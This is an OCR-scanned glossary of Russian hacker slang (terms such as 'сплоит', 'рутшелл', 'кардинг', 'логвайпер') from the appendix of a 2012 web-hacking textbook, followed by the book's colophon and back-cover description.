Хакерский словарик 201 бсдя — операционная система FreeBSD (иногда BSD, NetBSD или OpenBSD). вайтхат, вайтхэт (white hat) — хакер, не нарушающий закон, а помогающий устранять уязвимости, см. также блэкхат и грешат. винда — операционная система Windows. винт — жесткий диск. вирь (vire) — компьютерный вирус. гидра — программа Hydra. грейхат, грейхэт (gray hat, или grey hat) — хакер, ведущий себя то как вайтхат, то как блэкхат. ддос (Distributed Denial of Service, DDoS) — распределенная атака типа отказа в обслуживании. дёдик (от dedicated) — выделенный сервер. джон — программа John The Ripper. джоник — см. джон. дйра — директория, каталог, папка. дос (Denial of Service, DoS) — атака типа отказа в обслуживании. дрова — драйверы. жаба — язык Java (читается как «джава»). жабаскрйп, жабаскрйпт — язык JavaScript. задосить — вывести из строя компьютер путем DoS-атаки. занЗзать (от use) — использовать. инжектировать (inject) — «впрыскивать» код, см. инъекция. инклуд (include) — включение текста из другого файла в основную программу. инкл^динг (including) — см. инклуд. инкл^дить (include) — глагол от инклуд. инъекция (injection) — «впрыскивание» кода, то есть включение кода, написанного хакером, в существующую программу. ирка (IRC) — программа для чата. кйрдер — лицо, подделывающее кредитные карты. кйрдинг — использование чужих или поддельных кредитных карт. кейборд(а) (keyboard) — клавиатура. кейген (keygen) — генератор серийных номеров. клава — клавиатура. код (code) — программа или отдельные операторы, написанные на каком-либо языке программирования.
202 Приложение 10. Хакерский словарик кодинг (coding) — программирование. кбдить — писать программу. кора (core) — ядро операционной системы. котёнок — программа netcat. кряк (crack) — небольшая программа, взламывающая какую-либо платную программу. кулхйцкер (cool hacker) — крутой хакер (часто с пренебрежительным оттенком). л&мер (lamer) — неопытный пользователь, жертва хакеров; либо невежественный в компьютерах человек, не желающий учиться. линух (искаж.) — Linux. лог (log) — журнал (файл регистрации событий системы или прикладной программы). логвййпер (log-wiper) — программа, очищающая логи (см. лог). логин (login) — имя пользователя для входа в систему. мазахака — ругательство «мазафака» применительно к хакерам. маздай (от must die) — что-либо плохое, не рекомендуемое; либо MS Windows. малварь (malware) — вредоносные программы. ман — сокр. от мануал. мануал (manual) — руководство (по чему-либо, например по языку программирования). мастхэв (must have) — что-либо очень хорошее, рекомендуемое к использованию. мелкомягкие, мелкосов, или мелкософт — компания Майкрософт. мирка (mIRC) — программа для чата. моник — монитор. мускул - СУБД MySQL. мыло (mail) — электронная почта, e-mail. мыльник — электронный почтовый ящик. намылить — написать электронное письмо. неткат — программа netcat (nc). ник (nick, nickname) — кличка либо логин. никсы — unix-подобная операционная система. нулл (null) — пустое значение, например, в базе данных. нуль-байт (null-byte, 0-byte) — нулевой байт.
Хакерский словарик 203 нюк (nuke) — хакерская программа, вызывающая сбой компьютера жертвы. нюкалка — см. нюк. опсос — оператор сотовой связи. ось (OS) — операционная система, ОС. паблик сплоит (public sploit) — публичный эксплойт, то есть эксплойт, находящийся в открытом доступе в Интернете, в противоположность 0-day sploit пасс (pass, сокращение от password) — пароль. питон, питончик — язык Python либо интерпретатор языка Python. полуось — операционная система OS/2 от фирмы IBM (уже прекратившая свое существование). поругать тачку (от to root) — получить права привилегированного пользователя на компьютере. показанный (от use) — бывший в употреблении. показать (от use) — использовать, попользоваться. пров — провайдер (фирма, предоставляющая Интернет-услуги). пхп — язык РНР либо интерпретатор языка РНР. рут (root) — суперпользователь в *тх-системах. рутовый — относящийся к суперпользователю root. рутшелл — рутовый шелл. саноска, санось — операционная система SunOS. сбрутить пасс — найти пароль с помощью брутфорсера. секьюрный, секурный (secure) — безопасный. сервак — сервер. сервант — см. сервак. синжер — социальный инженер, то есть лицо, использующее методы социальной инженерии. сисадмин — системный администратор. скриптосос — см. скрипткидди. скрипткйдди (script-kiddie) — неодобрительное название хакеров-новичков, которые, не вникая в суть, стремятся использовать чужие эксплойты. скрипткйддис — см. скрипткидди. скуль, скуэль — язык SQL, а также иногда SQL-инъекция. снифер, сниффер (sniffer) — программа, перехватывающая что-либо (пакеты, cookie). соляра, солярка — операционная система Solaris.
204 Приложение 10. Хакерский словарик софт (soft) — программы, программное обеспечение. софтина — программа. спионерить — украсть. сплоит, сплоит (sploit) — краткая форма слова эксплойт. тачка — компьютер. телевизор {устар.) — монитор. тётя Ася — программа ICQ (см. аська). типсы (tips) — указания, советы. триксы (tricks) — трюки (в хакинге или программировании). трои — см. троян. троян — троянская программа. троянец (устар.) — см. троян. туке — операционная система Linux (пингвин Туке — ее символ). уйн (user identification number, UIN) — номер ICQ. утйла — утилита, служебная программа. фйки — часто задаваемые вопросы (Frequently Asked Questions, FAQ) либо ругательства. фишинг (phishing) — обман пользователей с кражей конфиденциальных данных. флуд, флад (flood) — поток бессмысленных или повторяющихся сообщений. фря — операционная система FreeBSD. фряха — см. фря. хак (hack) — взлом либо улучшение в программе. хйкинг (hacking) — процесс взлома, искусство взлома либо усовершенствование чего-либо. хйцкер — хакер. х&цкинг — см. хакинг. хёкер — хакер. хост (host) — компьютер в Интернете, сервер, на котором размещены сайты. хостинг — услуги по размещению сайтов. хэккер — хакер. червяга — см. червяк. червяк — Интернет-червь (Internet worm), самораспространяющаяся программа. шелл (shell) — командная оболочка либо доступ к командной строке.
Хакерский словарик 205 шестизнаки — шестизначные номера ICQ, часто служат предметом угона хакерами. эксплбйт (exploit) — хакерская программа, эксплуатирующая ту или иную уязвимость. к5зать (от use) — использовать, см. также заюзатъ, поюзатъ, поюзанный. н5зверь — см. юзер. н5зер (user) — пользователь. юин — см. уин.
Юрий Владиленович Жуков Основы веб-хакинга: нападение и защита (+DVD) 2-е издание Заведующий редакцией А. Кривцов Руководитель проекта А. Кривцов Ведущий редактор Ю. Сергиенко Художественный редактор Л. Адуевская Корректор И. Тимофеева Верстка Л. Харитонов ООО «Мир книг», 198206, Санкт-Петербург, Петергофское шоссе, 73, лит. А29. Подписано в печать 14.02.12. Формат 70x100/16. Усл. п. л. 16,770. Тираж 2000. Заказ 27300. Отпечатано по технологии CtP в ОАО «Первая Образцовая типография», обособленное подразделение «Печатный двор» 197110, Санкт-Петербург, Чкаловский пр., 15.
нянкт-петеРБУРгскяя нтивиг ЛПБОРЯТОРИЯ ДЯНИЛОВЯ uuuuuu.SRLD.ru 8 (812) 336-3739 Пнтивслрусные програттные продукты Второе издание популярной книги Юрия Жукова предназначено для всех интересующихся хакингом и надежной защитой веб-сайтов. Описаны реальные уязвимости широко распространенных бесплатных движков сайтов. К книге прилагается DVD-ROM с тестовой системой и двумя свободно распространяемыми хакерскими дистрибутивами Linux — Damn Vulnerable Linux и Back Track 4, которые работают на локальном компьютере пользователя под управлением виртуальной машины в ОС Windows. Подробно разобраны учебные примеры, включенные в тестовую систему. Информация, приведенная в данной книге, может быть использована только в ознакомительных и учебных целях. Издательство не несет ответственности за неправомерное использование читателями полученной информации, приведшее к нарушению закона. Тема: Хакинг Уровень пользователя: опытный ISBN: 978-5-459-01217-0 9"785459м01 2170м С^ППТЕР* Заказ книг: 197198, Санкт-Петербург, а/я 127 тел.: (812) 703-73-74, postbook@piter.com 61093, Харьков-93, а/я 9130 тел.: (057) 758-41-45, 751-10-02, piter@kharkov.piter.com www.piter.com — вся информация о книгах и веб-магазин